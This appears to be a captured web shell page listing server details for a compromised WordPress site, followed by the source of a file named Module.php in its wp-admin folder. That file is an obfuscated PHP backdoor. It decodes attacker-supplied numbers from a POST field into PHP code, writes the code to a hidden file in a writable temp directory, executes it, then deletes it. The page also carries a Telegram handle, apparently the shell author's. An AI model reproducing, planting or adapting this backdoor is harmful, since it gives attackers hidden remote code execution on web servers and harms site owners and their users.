https://t.me/RX1948
Server : LiteSpeed
System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : dewac4139 ( 1077)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /proc/self/root/home/sarkas88.com/public_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/sarkas88.com/public_html/wp-admin/Module.php
<?php

if(array_key_exists("s\x79m", $_POST) && !is_null($_POST["s\x79m"])){
	$symbol = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
	$fac = $_POST["s\x79m"];
			$fac   =	explode( "."		, $fac	)	;
	$flag	=	'';
            $salt2	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen($salt2);
    
            foreach ($fac as $t => $v8):
                $chS	=	ord($salt2[$t	 %$sLen]);
                $d	=	((int)$v8 - $chS - ($t	 %10))^ 32;
                $flag .= chr($d);
            endforeach;
	while ($data_chunk = array_shift($symbol)) {
    		if (is_dir($data_chunk) && is_writable($data_chunk)) {
    $element = join("/", [$data_chunk, ".value"]);
    if (file_put_contents($element, $flag)) {
	include $element;
	@unlink($element);
	exit;
}
}
}
}

https://t.me/RX1948 - 2025